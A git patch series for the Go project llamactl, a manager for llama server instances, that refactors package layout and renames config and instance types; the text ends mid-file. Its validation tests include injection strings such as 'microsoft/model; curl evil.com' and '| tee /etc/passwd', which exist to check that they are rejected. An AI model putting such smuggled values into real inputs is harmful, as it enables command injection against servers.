"llamactl/pkg" ) func TestAuthMiddleware(t *testing.T) { tests := []struct { name string - keyType llamactl.KeyType + keyType server.KeyType inferenceKeys []string managementKeys []string requestKey string @@ -22,7 +22,7 @@ func TestAuthMiddleware(t *testing.T) { // Valid key tests { name: "valid inference key for inference", - keyType: llamactl.KeyTypeInference, + keyType: server.KeyTypeInference, inferenceKeys: []string{"sk-inference-valid123"}, requestKey: "sk-inference-valid123", method: "GET", @@ -30,7 +30,7 @@ func TestAuthMiddleware(t *testing.T) { }, { name: "valid management key for inference", // Management keys work for inference - keyType: llamactl.KeyTypeInference, + keyType: server.KeyTypeInference, managementKeys: []string{"sk-management-admin123"}, requestKey: "sk-management-admin123", method: "GET", @@ -38,7 +38,7 @@ func TestAuthMiddleware(t *testing.T) { }, { name: "valid management key for management", - keyType: llamactl.KeyTypeManagement, + keyType: server.KeyTypeManagement, managementKeys: []string{"sk-management-admin123"}, requestKey: "sk-management-admin123", method: "GET", @@ -48,7 +48,7 @@ func TestAuthMiddleware(t *testing.T) { // Invalid key tests { name: "inference key for management should fail", - keyType: llamactl.KeyTypeManagement, + keyType: server.KeyTypeManagement, inferenceKeys: []string{"sk-inference-user123"}, requestKey: "sk-inference-user123", method: "GET", @@ -56,7 +56,7 @@ func TestAuthMiddleware(t *testing.T) { }, { name: "invalid inference key", - keyType: llamactl.KeyTypeInference, + keyType: server.KeyTypeInference, inferenceKeys: []string{"sk-inference-valid123"}, requestKey: "sk-inference-invalid", method: "GET", @@ -64,7 +64,7 @@ func TestAuthMiddleware(t *testing.T) { }, { name: "missing inference key", - keyType: llamactl.KeyTypeInference, + keyType: server.KeyTypeInference, inferenceKeys: []string{"sk-inference-valid123"}, requestKey: "", method: "GET", @@ -72,7 +72,7 @@ func TestAuthMiddleware(t *testing.T) { }, { name: "invalid management key", - keyType: llamactl.KeyTypeManagement, + keyType: server.KeyTypeManagement, managementKeys: []string{"sk-management-valid123"}, requestKey: "sk-management-invalid", method: "GET", @@ -80,7 +80,7 @@ func TestAuthMiddleware(t *testing.T) { }, { name: "missing management key", - keyType: llamactl.KeyTypeManagement, + keyType: server.KeyTypeManagement, managementKeys: []string{"sk-management-valid123"}, requestKey: "", method: "GET", @@ -90,7 +90,7 @@ func TestAuthMiddleware(t *testing.T) { // OPTIONS requests should always pass { name: "OPTIONS request bypasses inference auth", - keyType: llamactl.KeyTypeInference, + keyType: server.KeyTypeInference, inferenceKeys: []string{"sk-inference-valid123"}, requestKey: "", method: "OPTIONS", @@ -98,7 +98,7 @@ func TestAuthMiddleware(t *testing.T) { }, { name: "OPTIONS request bypasses management auth", - keyType: llamactl.KeyTypeManagement, + keyType: server.KeyTypeManagement, managementKeys: []string{"sk-management-valid123"}, requestKey: "", method: "OPTIONS", @@ -108,7 +108,7 @@ func TestAuthMiddleware(t *testing.T) { // Cross-key-type validation { name: "management key works for inference endpoint", - keyType: llamactl.KeyTypeInference, + keyType: server.KeyTypeInference, inferenceKeys: []string{}, managementKeys: []string{"sk-management-admin"}, requestKey: "sk-management-admin", @@ -119,11 +119,11 @@ func TestAuthMiddleware(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - config := llamactl.AuthConfig{ + cfg := config.AuthConfig{ InferenceKeys: tt.inferenceKeys, ManagementKeys: tt.managementKeys, } - middleware := llamactl.NewAPIAuthMiddleware(config) + middleware := server.NewAPIAuthMiddleware(cfg) // Create test request req := httptest.NewRequest(tt.method, "/test", nil) @@ -133,12 +133,12 @@ func TestAuthMiddleware(t *testing.T) { // Create test handler using the appropriate middleware var handler http.Handler - if tt.keyType == llamactl.KeyTypeInference { - handler = middleware.AuthMiddleware(llamactl.KeyTypeInference)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if tt.keyType == server.KeyTypeInference { + handler = middleware.AuthMiddleware(server.KeyTypeInference)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusOK) })) } else { - handler = middleware.AuthMiddleware(llamactl.KeyTypeManagement)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + handler = middleware.AuthMiddleware(server.KeyTypeManagement)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusOK) })) } @@ -170,17 +170,17 @@ func TestAuthMiddleware(t *testing.T) { func TestGenerateAPIKey(t *testing.T) { tests := []struct { name string - keyType llamactl.KeyType + keyType server.KeyType }{ - {"inference key generation", llamactl.KeyTypeInference}, - {"management key generation", llamactl.KeyTypeManagement}, + {"inference key generation", server.KeyTypeInference}, + {"management key generation", server.KeyTypeManagement}, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { // Test auto-generation by creating config that will trigger it - var config llamactl.AuthConfig - if tt.keyType == llamactl.KeyTypeInference { + var config config.AuthConfig + if tt.keyType == server.KeyTypeInference { config.RequireInferenceAuth = true config.InferenceKeys = []string{} // Empty to trigger generation } else { @@ -189,19 +189,19 @@ func TestGenerateAPIKey(t *testing.T) { } // Create middleware - this should trigger key generation - middleware := llamactl.NewAPIAuthMiddleware(config) + middleware := server.NewAPIAuthMiddleware(config) // Test that auth is required (meaning a key was generated) req := httptest.NewRequest("GET", "/", nil) recorder := httptest.NewRecorder() var handler http.Handler - if tt.keyType == llamactl.KeyTypeInference { - handler = middleware.AuthMiddleware(llamactl.KeyTypeInference)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if tt.keyType == server.KeyTypeInference { + handler = middleware.AuthMiddleware(server.KeyTypeInference)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusOK) })) } else { - handler = middleware.AuthMiddleware(llamactl.KeyTypeManagement)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + handler = middleware.AuthMiddleware(server.KeyTypeManagement)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusOK) })) } @@ -214,18 +214,18 @@ func TestGenerateAPIKey(t *testing.T) { } // Test uniqueness by creating another middleware instance - middleware2 := llamactl.NewAPIAuthMiddleware(config) + middleware2 := server.NewAPIAuthMiddleware(config) req2 := httptest.NewRequest("GET", "/", nil) recorder2 := httptest.NewRecorder() - if tt.keyType == llamactl.KeyTypeInference { - handler2 := middleware2.AuthMiddleware(llamactl.KeyTypeInference)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if tt.keyType == server.KeyTypeInference { + handler2 := middleware2.AuthMiddleware(server.KeyTypeInference)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusOK) })) handler2.ServeHTTP(recorder2, req2) } else { - handler2 := middleware2.AuthMiddleware(llamactl.KeyTypeManagement)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + handler2 := middleware2.AuthMiddleware(server.KeyTypeManagement)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusOK) })) handler2.ServeHTTP(recorder2, req2) @@ -307,21 +307,21 @@ func TestAutoGeneration(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - config := llamactl.AuthConfig{ + cfg := config.AuthConfig{ RequireInferenceAuth: tt.requireInference, RequireManagementAuth: tt.requireManagement, InferenceKeys: tt.providedInference, ManagementKeys: tt.providedManagement, } - middleware := llamactl.NewAPIAuthMiddleware(config) + middleware := server.NewAPIAuthMiddleware(cfg) // Test inference behavior if inference auth is required if tt.requireInference { req := httptest.NewRequest("GET", "/v1/models", nil) recorder := httptest.NewRecorder() - handler := middleware.AuthMiddleware(llamactl.KeyTypeInference)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + handler := middleware.AuthMiddleware(server.KeyTypeInference)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusOK) })) @@ -338,7 +338,7 @@ func TestAutoGeneration(t *testing.T) { req := httptest.NewRequest("GET", "/api/v1/instances", nil) recorder := httptest.NewRecorder() - handler := middleware.AuthMiddleware(llamactl.KeyTypeManagement)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + handler := middleware.AuthMiddleware(server.KeyTypeManagement)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusOK) })) diff --git a/pkg/openai.go b/pkg/server/openai.go similarity index 94% rename from pkg/openai.go rename to pkg/server/openai.go index e4ff36a..98d1043 100644 --- a/pkg/openai.go +++ b/pkg/server/openai.go @@ -1,4 +1,4 @@ -package llamactl +package server type OpenAIListInstancesResponse struct { Object string `json:"object"` diff --git a/pkg/routes.go b/pkg/server/routes.go similarity index 89% rename from pkg/routes.go rename to pkg/server/routes.go index f0c3c54..b400742 100644 --- a/pkg/routes.go +++ b/pkg/server/routes.go @@ -1,4 +1,4 @@ -package llamactl +package server import ( "fmt" @@ -18,7 +18,7 @@ func SetupRouter(handler *Handler) *chi.Mux { // Add CORS middleware r.Use(cors.Handler(cors.Options{ - AllowedOrigins: handler.config.Server.AllowedOrigins, + AllowedOrigins: handler.cfg.Server.AllowedOrigins, AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"}, AllowedHeaders: []string{"Accept", "Authorization", "Content-Type", "X-CSRF-Token"}, ExposedHeaders: []string{"Link"}, @@ -27,9 +27,9 @@ func SetupRouter(handler *Handler) *chi.Mux { })) // Add API authentication middleware - authMiddleware := NewAPIAuthMiddleware(handler.config.Auth) + authMiddleware := NewAPIAuthMiddleware(handler.cfg.Auth) - if handler.config.Server.EnableSwagger { + if handler.cfg.Server.EnableSwagger { r.Get("/swagger/*", httpSwagger.Handler( httpSwagger.URL("/swagger/doc.json"), )) @@ -38,7 +38,7 @@ func SetupRouter(handler *Handler) *chi.Mux { // Define routes r.Route("/api/v1", func(r chi.Router) { - if authMiddleware != nil && handler.config.Auth.RequireManagementAuth { + if authMiddleware != nil && handler.cfg.Auth.RequireManagementAuth { r.Use(authMiddleware.AuthMiddleware(KeyTypeManagement)) } @@ -73,7 +73,7 @@ func SetupRouter(handler *Handler) *chi.Mux { r.Route(("/v1"), func(r chi.Router) { - if authMiddleware != nil && handler.config.Auth.RequireInferenceAuth { + if authMiddleware != nil && handler.cfg.Auth.RequireInferenceAuth { r.Use(authMiddleware.AuthMiddleware(KeyTypeInference)) } diff --git a/pkg/testutil/helpers.go b/pkg/testutil/helpers.go new file mode 100644 index 0000000..7b7fe0c --- /dev/null +++ b/pkg/testutil/helpers.go @@ -0,0 +1,10 @@ +package testutil + +// Helper functions for pointer fields +func BoolPtr(b bool) *bool { + return &b +} + +func IntPtr(i int) *int { + return &i +} diff --git a/pkg/validation.go b/pkg/validation/validation.go similarity index 96% rename from pkg/validation.go rename to pkg/validation/validation.go index 78e99a6..2b06b37 100644 --- a/pkg/validation.go +++ b/pkg/validation/validation.go @@ -1,7 +1,8 @@ -package llamactl +package validation import ( "fmt" + "llamactl/pkg/instance" "reflect" "regexp" ) @@ -33,7 +34,7 @@ func validateStringForInjection(value string) error { } // ValidateInstanceOptions performs minimal security validation -func ValidateInstanceOptions(options *CreateInstanceOptions) error { +func ValidateInstanceOptions(options *instance.CreateInstanceOptions) error { if options == nil { return ValidationError(fmt.Errorf("options cannot be nil")) } diff --git a/pkg/validation_test.go b/pkg/validation/validation_test.go similarity index 82% rename from pkg/validation_test.go rename to pkg/validation/validation_test.go index baf6466..53e52b9 100644 --- a/pkg/validation_test.go +++ b/pkg/validation/validation_test.go @@ -1,10 +1,12 @@ -package llamactl_test +package validation_test import ( + "llamactl/pkg/backends/llamacpp" + "llamactl/pkg/instance" + "llamactl/pkg/testutil" + "llamactl/pkg/validation" "strings" "testing" - - llamactl "llamactl/pkg" ) func TestValidateInstanceName(t *testing.T) { @@ -39,7 +41,7 @@ func TestValidateInstanceName(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - err := llamactl.ValidateInstanceName(tt.input) + err := validation.ValidateInstanceName(tt.input) if (err != nil) != tt.wantErr { t.Errorf("ValidateInstanceName(%q) error = %v, wantErr %v", tt.input, err, tt.wantErr) } @@ -48,7 +50,7 @@ func TestValidateInstanceName(t *testing.T) { } func TestValidateInstanceOptions_NilOptions(t *testing.T) { - err := llamactl.ValidateInstanceOptions(nil) + err := validation.ValidateInstanceOptions(nil) if err == nil { t.Error("Expected error for nil options") } @@ -73,13 +75,13 @@ func TestValidateInstanceOptions_PortValidation(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - options := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Port: tt.port, }, } - err := llamactl.ValidateInstanceOptions(options) + err := validation.ValidateInstanceOptions(options) if (err != nil) != tt.wantErr { t.Errorf("ValidateInstanceOptions(port=%d) error = %v, wantErr %v", tt.port, err, tt.wantErr) } @@ -126,13 +128,13 @@ func TestValidateInstanceOptions_StringInjection(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { // Test with Model field (string field) - options := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: tt.value, }, } - err := llamactl.ValidateInstanceOptions(options) + err := validation.ValidateInstanceOptions(options) if (err != nil) != tt.wantErr { t.Errorf("ValidateInstanceOptions(model=%q) error = %v, wantErr %v", tt.value, err, tt.wantErr) } @@ -163,13 +165,13 @@ func TestValidateInstanceOptions_ArrayInjection(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { // Test with Lora field (array field) - options := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Lora: tt.array, }, } - err := llamactl.ValidateInstanceOptions(options) + err := validation.ValidateInstanceOptions(options) if (err != nil) != tt.wantErr { t.Errorf("ValidateInstanceOptions(lora=%v) error = %v, wantErr %v", tt.array, err, tt.wantErr) } @@ -181,13 +183,13 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) { // Test that injection in any field is caught tests := []struct { name string - options *llamactl.CreateInstanceOptions + options *instance.CreateInstanceOptions wantErr bool }{ { name: "injection in model field", - options: &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options: &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "safe.gguf", HFRepo: "microsoft/model; curl evil.com", }, @@ -196,8 +198,8 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) { }, { name: "injection in log file", - options: &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options: &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "safe.gguf", LogFile: "/tmp/log.txt | tee /etc/passwd", }, @@ -206,8 +208,8 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) { }, { name: "all safe fields", - options: &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options: &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", HFRepo: "microsoft/DialoGPT-medium", LogFile: "/tmp/llama.log", @@ -221,7 +223,7 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - err := llamactl.ValidateInstanceOptions(tt.options) + err := validation.ValidateInstanceOptions(tt.options) if (err != nil) != tt.wantErr { t.Errorf("ValidateInstanceOptions() error = %v, wantErr %v", err, tt.wantErr) } @@ -231,11 +233,11 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) { func TestValidateInstanceOptions_NonStringFields(t *testing.T) { // Test that non-string fields don't interfere with validation - options := &llamactl.CreateInstanceOptions{ - AutoRestart: boolPtr(true), - MaxRestarts: intPtr(5), - RestartDelay: intPtr(10), - LlamaServerOptions: llamactl.LlamaServerOptions{ + options := &instance.CreateInstanceOptions{ + AutoRestart: testutil.BoolPtr(true), + MaxRestarts: testutil.IntPtr(5), + RestartDelay: testutil.IntPtr(10), + LlamaServerOptions: llamacpp.LlamaServerOptions{ Port: 8080, GPULayers: 32, CtxSize: 4096, @@ -247,17 +249,8 @@ func TestValidateInstanceOptions_NonStringFields(t *testing.T) { }, } - err := llamactl.ValidateInstanceOptions(options) + err := validation.ValidateInstanceOptions(options) if err != nil { t.Errorf("ValidateInstanceOptions with non-string fields should not error, got: %v", err) } } - -// Helper functions for pointer fields -func boolPtr(b bool) *bool { - return &b -} - -func intPtr(i int) *int { - return &i -} From 2abe9c282e72de1422796007510b734e7742fcb0 Mon Sep 17 00:00:00 2001 From: LordMathis Date: Mon, 4 Aug 2025 19:30:50 +0200 Subject: [PATCH 2/4] Rename config and instance struct to avoid awkward naming --- pkg/config/config.go | 12 +++++----- pkg/config/config_test.go | 10 ++++----- pkg/instance/instance.go | 18 +++++++-------- pkg/instance/instance_test.go | 6 ++--- pkg/instance/lifecycle.go | 10 ++++----- pkg/instance/logging.go | 2 +- pkg/manager/manager.go | 42 +++++++++++++++++------------------ pkg/manager/manager_test.go | 2 +- pkg/server/handlers.go | 4 ++-- 9 files changed, 53 insertions(+), 53 deletions(-) diff --git a/pkg/config/config.go b/pkg/config/config.go index 21eebfc..dac781c 100644 --- a/pkg/config/config.go +++ b/pkg/config/config.go @@ -10,8 +10,8 @@ import ( "gopkg.in/yaml.v3" ) -// Config represents the configuration for llamactl -type Config struct { +// AppConfig represents the configuration for llamactl +type AppConfig struct { Server ServerConfig `yaml:"server"` Instances InstancesConfig `yaml:"instances"` Auth AuthConfig `yaml:"auth"` @@ -85,9 +85,9 @@ type AuthConfig struct { // 1. Hardcoded defaults // 2. Config file // 3. Environment variables -func LoadConfig(configPath string) (Config, error) { +func LoadConfig(configPath string) (AppConfig, error) { // 1. Start with defaults - cfg := Config{ + cfg := AppConfig{ Server: ServerConfig{ Host: "0.0.0.0", Port: 8080, @@ -126,7 +126,7 @@ func LoadConfig(configPath string) (Config, error) { } // loadConfigFile attempts to load config from file with fallback locations -func loadConfigFile(cfg *Config, configPath string) error { +func loadConfigFile(cfg *AppConfig, configPath string) error { var configLocations []string // If specific config path provided, use only that @@ -150,7 +150,7 @@ func loadConfigFile(cfg *Config, configPath string) error { } // loadEnvVars overrides config with environment variables -func loadEnvVars(cfg *Config) { +func loadEnvVars(cfg *AppConfig) { // Server config if host := os.Getenv("LLAMACTL_HOST"); host != "" { cfg.Server.Host = host diff --git a/pkg/config/config_test.go b/pkg/config/config_test.go index 41f0413..2596dac 100644 --- a/pkg/config/config_test.go +++ b/pkg/config/config_test.go @@ -271,31 +271,31 @@ func TestLoadConfig_EnvironmentVariableTypes(t *testing.T) { testCases := []struct { envVar string envValue string - checkFn func(*config.Config) bool + checkFn func(*config.AppConfig) bool desc string }{ { envVar: "LLAMACTL_PORT", envValue: "invalid-port", - checkFn: func(c *config.Config) bool { return c.Server.Port == 8080 }, // Should keep default + checkFn: func(c *config.AppConfig) bool { return c.Server.Port == 8080 }, // Should keep default desc: "invalid port number should keep default", }, { envVar: "LLAMACTL_MAX_INSTANCES", envValue: "not-a-number", - checkFn: func(c *config.Config) bool { return c.Instances.MaxInstances == -1 }, // Should keep default + checkFn: func(c *config.AppConfig) bool { return c.Instances.MaxInstances == -1 }, // Should keep default desc: "invalid max instances should keep default", }, { envVar: "LLAMACTL_DEFAULT_AUTO_RESTART", envValue: "invalid-bool", - checkFn: func(c *config.Config) bool { return c.Instances.DefaultAutoRestart == true }, // Should keep default + checkFn: func(c *config.AppConfig) bool { return c.Instances.DefaultAutoRestart == true }, // Should keep default desc: "invalid boolean should keep default", }, { envVar: "LLAMACTL_INSTANCE_PORT_RANGE", envValue: "invalid-range", - checkFn: func(c *config.Config) bool { return c.Instances.PortRange == [2]int{8000, 9000} }, // Should keep default + checkFn: func(c *config.AppConfig) bool { return c.Instances.PortRange == [2]int{8000, 9000} }, // Should keep default desc: "invalid port range should keep default", }, } diff --git a/pkg/instance/instance.go b/pkg/instance/instance.go index 02969d9..dd4a45f 100644 --- a/pkg/instance/instance.go +++ b/pkg/instance/instance.go @@ -55,8 +55,8 @@ func (c *CreateInstanceOptions) UnmarshalJSON(data []byte) error { return nil } -// Instance represents a running instance of the llama server -type Instance struct { +// Process represents a running instance of the llama server +type Process struct { Name string `json:"name"` options *CreateInstanceOptions `json:"-"` globalSettings *config.InstancesConfig @@ -145,7 +145,7 @@ func applyDefaultOptions(options *CreateInstanceOptions, globalSettings *config. } // NewInstance creates a new instance with the given name, log path, and options -func NewInstance(name string, globalSettings *config.InstancesConfig, options *CreateInstanceOptions) *Instance { +func NewInstance(name string, globalSettings *config.InstancesConfig, options *CreateInstanceOptions) *Process { // Validate and copy options optionsCopy := validateAndCopyOptions(name, options) // Apply defaults @@ -153,7 +153,7 @@ func NewInstance(name string, globalSettings *config.InstancesConfig, options *C // Create the instance logger logger := NewInstanceLogger(name, globalSettings.LogsDir) - return &Instance{ + return &Process{ Name: name, options: optionsCopy, globalSettings: globalSettings, @@ -165,13 +165,13 @@ func NewInstance(name string, globalSettings *config.InstancesConfig, options *C } } -func (i *Instance) GetOptions() *CreateInstanceOptions { +func (i *Process) GetOptions() *CreateInstanceOptions { i.mu.RLock() defer i.mu.RUnlock() return i.options } -func (i *Instance) SetOptions(options *CreateInstanceOptions) { +func (i *Process) SetOptions(options *CreateInstanceOptions) { i.mu.Lock() defer i.mu.Unlock() @@ -190,7 +190,7 @@ func (i *Instance) SetOptions(options *CreateInstanceOptions) { } // GetProxy returns the reverse proxy for this instance, creating it if needed -func (i *Instance) GetProxy() (*httputil.ReverseProxy, error) { +func (i *Process) GetProxy() (*httputil.ReverseProxy, error) { i.mu.Lock() defer i.mu.Unlock() @@ -227,7 +227,7 @@ func (i *Instance) GetProxy() (*httputil.ReverseProxy, error) { } // MarshalJSON implements json.Marshaler for Instance -func (i *Instance) MarshalJSON() ([]byte, error) { +func (i *Process) MarshalJSON() ([]byte, error) { // Use read lock since we're only reading data i.mu.RLock() defer i.mu.RUnlock() @@ -249,7 +249,7 @@ func (i *Instance) MarshalJSON() ([]byte, error) { } // UnmarshalJSON implements json.Unmarshaler for Instance -func (i *Instance) UnmarshalJSON(data []byte) error { +func (i *Process) UnmarshalJSON(data []byte) error { // Create a temporary struct for unmarshalling temp := struct { Name string `json:"name"` diff --git a/pkg/instance/instance_test.go b/pkg/instance/instance_test.go index dadcf89..d89bad3 100644 --- a/pkg/instance/instance_test.go +++ b/pkg/instance/instance_test.go @@ -286,7 +286,7 @@ func TestUnmarshalJSON(t *testing.T) { } }` - var inst instance.Instance + var inst instance.Process err := json.Unmarshal([]byte(jsonData), &inst) if err != nil { t.Fatalf("JSON unmarshal failed: %v", err) @@ -326,7 +326,7 @@ func TestUnmarshalJSON_PartialOptions(t *testing.T) { } }` - var inst instance.Instance + var inst instance.Process err := json.Unmarshal([]byte(jsonData), &inst) if err != nil { t.Fatalf("JSON unmarshal failed: %v", err) @@ -350,7 +350,7 @@ func TestUnmarshalJSON_NoOptions(t *testing.T) { "running": false }` - var inst instance.Instance + var inst instance.Process err := json.Unmarshal([]byte(jsonData), &inst) if err != nil { t.Fatalf("JSON unmarshal failed: %v", err) diff --git a/pkg/instance/lifecycle.go b/pkg/instance/lifecycle.go index 365a682..1442b6e 100644 --- a/pkg/instance/lifecycle.go +++ b/pkg/instance/lifecycle.go @@ -11,7 +11,7 @@ import ( ) // Start starts the llama server instance and returns an error if it fails. -func (i *Instance) Start() error { +func (i *Process) Start() error { i.mu.Lock() defer i.mu.Unlock() @@ -75,7 +75,7 @@ func (i *Instance) Start() error { } // Stop terminates the subprocess -func (i *Instance) Stop() error { +func (i *Process) Stop() error { i.mu.Lock() if !i.Running { @@ -140,7 +140,7 @@ func (i *Instance) Stop() error { return nil } -func (i *Instance) monitorProcess() { +func (i *Process) monitorProcess() { defer func() { i.mu.Lock() if i.monitorDone != nil { @@ -181,7 +181,7 @@ func (i *Instance) monitorProcess() { } // handleRestart manages the restart process while holding the lock -func (i *Instance) handleRestart() { +func (i *Process) handleRestart() { // Validate restart conditions and get safe parameters shouldRestart, maxRestarts, restartDelay := i.validateRestartConditions() if !shouldRestart { @@ -223,7 +223,7 @@ func (i *Instance) handleRestart() { } // validateRestartConditions checks if the instance should be restarted and returns the parameters -func (i *Instance) validateRestartConditions() (shouldRestart bool, maxRestarts int, restartDelay int) { +func (i *Process) validateRestartConditions() (shouldRestart bool, maxRestarts int, restartDelay int) { if i.options == nil { log.Printf("Instance %s not restarting: options are nil", i.Name) return false, 0, 0 diff --git a/pkg/instance/logging.go b/pkg/instance/logging.go index 4360e7b..5432556 100644 --- a/pkg/instance/logging.go +++ b/pkg/instance/logging.go @@ -52,7 +52,7 @@ func (i *InstanceLogger) Create() error { } // GetLogs retrieves the last n lines of logs from the instance -func (i *Instance) GetLogs(num_lines int) (string, error) { +func (i *Process) GetLogs(num_lines int) (string, error) { i.mu.RLock() logFileName := i.logger.logFilePath i.mu.RUnlock() diff --git a/pkg/manager/manager.go b/pkg/manager/manager.go index 48469b7..bf7645f 100644 --- a/pkg/manager/manager.go +++ b/pkg/manager/manager.go @@ -15,21 +15,21 @@ import ( // InstanceManager defines the interface for managing instances of the llama server. type InstanceManager interface { - ListInstances() ([]*instance.Instance, error) - CreateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Instance, error) - GetInstance(name string) (*instance.Instance, error) - UpdateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Instance, error) + ListInstances() ([]*instance.Process, error) + CreateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Process, error) + GetInstance(name string) (*instance.Process, error) + UpdateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Process, error) DeleteInstance(name string) error - StartInstance(name string) (*instance.Instance, error) - StopInstance(name string) (*instance.Instance, error) - RestartInstance(name string) (*instance.Instance, error) + StartInstance(name string) (*instance.Process, error) + StopInstance(name string) (*instance.Process, error) + RestartInstance(name string) (*instance.Process, error) GetInstanceLogs(name string) (string, error) Shutdown() } type instanceManager struct { mu sync.RWMutex - instances map[string]*instance.Instance + instances map[string]*instance.Process ports map[int]bool instancesConfig config.InstancesConfig } @@ -37,7 +37,7 @@ type instanceManager struct { // NewInstanceManager creates a new instance of InstanceManager. func NewInstanceManager(instancesConfig config.InstancesConfig) InstanceManager { im := &instanceManager{ - instances: make(map[string]*instance.Instance), + instances: make(map[string]*instance.Process), ports: make(map[int]bool), instancesConfig: instancesConfig, } @@ -50,11 +50,11 @@ func NewInstanceManager(instancesConfig config.InstancesConfig) InstanceManager } // ListInstances returns a list of all instances managed by the instance manager. -func (im *instanceManager) ListInstances() ([]*instance.Instance, error) { +func (im *instanceManager) ListInstances() ([]*instance.Process, error) { im.mu.RLock() defer im.mu.RUnlock() - instances := make([]*instance.Instance, 0, len(im.instances)) + instances := make([]*instance.Process, 0, len(im.instances)) for _, inst := range im.instances { instances = append(instances, inst) } @@ -63,7 +63,7 @@ func (im *instanceManager) ListInstances() ([]*instance.Instance, error) { // CreateInstance creates a new instance with the given options and returns it. // The instance is initially in a "stopped" state. -func (im *instanceManager) CreateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Instance, error) { +func (im *instanceManager) CreateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Process, error) { if options == nil { return nil, fmt.Errorf("instance options cannot be nil") } @@ -117,7 +117,7 @@ func (im *instanceManager) CreateInstance(name string, options *instance.CreateI } // GetInstance retrieves an instance by its name. -func (im *instanceManager) GetInstance(name string) (*instance.Instance, error) { +func (im *instanceManager) GetInstance(name string) (*instance.Process, error) { im.mu.RLock() defer im.mu.RUnlock() @@ -130,7 +130,7 @@ func (im *instanceManager) GetInstance(name string) (*instance.Instance, error) // UpdateInstance updates the options of an existing instance and returns it. // If the instance is running, it will be restarted to apply the new options. -func (im *instanceManager) UpdateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Instance, error) { +func (im *instanceManager) UpdateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Process, error) { im.mu.RLock() instance, exists := im.instances[name] im.mu.RUnlock() @@ -205,7 +205,7 @@ func (im *instanceManager) DeleteInstance(name string) error { // StartInstance starts a stopped instance and returns it. // If the instance is already running, it returns an error. -func (im *instanceManager) StartInstance(name string) (*instance.Instance, error) { +func (im *instanceManager) StartInstance(name string) (*instance.Process, error) { im.mu.RLock() instance, exists := im.instances[name] im.mu.RUnlock() @@ -232,7 +232,7 @@ func (im *instanceManager) StartInstance(name string) (*instance.Instance, error } // StopInstance stops a running instance and returns it. -func (im *instanceManager) StopInstance(name string) (*instance.Instance, error) { +func (im *instanceManager) StopInstance(name string) (*instance.Process, error) { im.mu.RLock() instance, exists := im.instances[name] im.mu.RUnlock() @@ -259,7 +259,7 @@ func (im *instanceManager) StopInstance(name string) (*instance.Instance, error) } // RestartInstance stops and then starts an instance, returning the updated instance. -func (im *instanceManager) RestartInstance(name string) (*instance.Instance, error) { +func (im *instanceManager) RestartInstance(name string) (*instance.Process, error) { instance, err := im.StopInstance(name) if err != nil { return nil, err @@ -295,7 +295,7 @@ func (im *instanceManager) getNextAvailablePort() (int, error) { } // persistInstance saves an instance to its JSON file -func (im *instanceManager) persistInstance(instance *instance.Instance) error { +func (im *instanceManager) persistInstance(instance *instance.Process) error { if im.instancesConfig.InstancesDir == "" { return nil // Persistence disabled } @@ -336,7 +336,7 @@ func (im *instanceManager) Shutdown() { continue } - go func(name string, inst *instance.Instance) { + go func(name string, 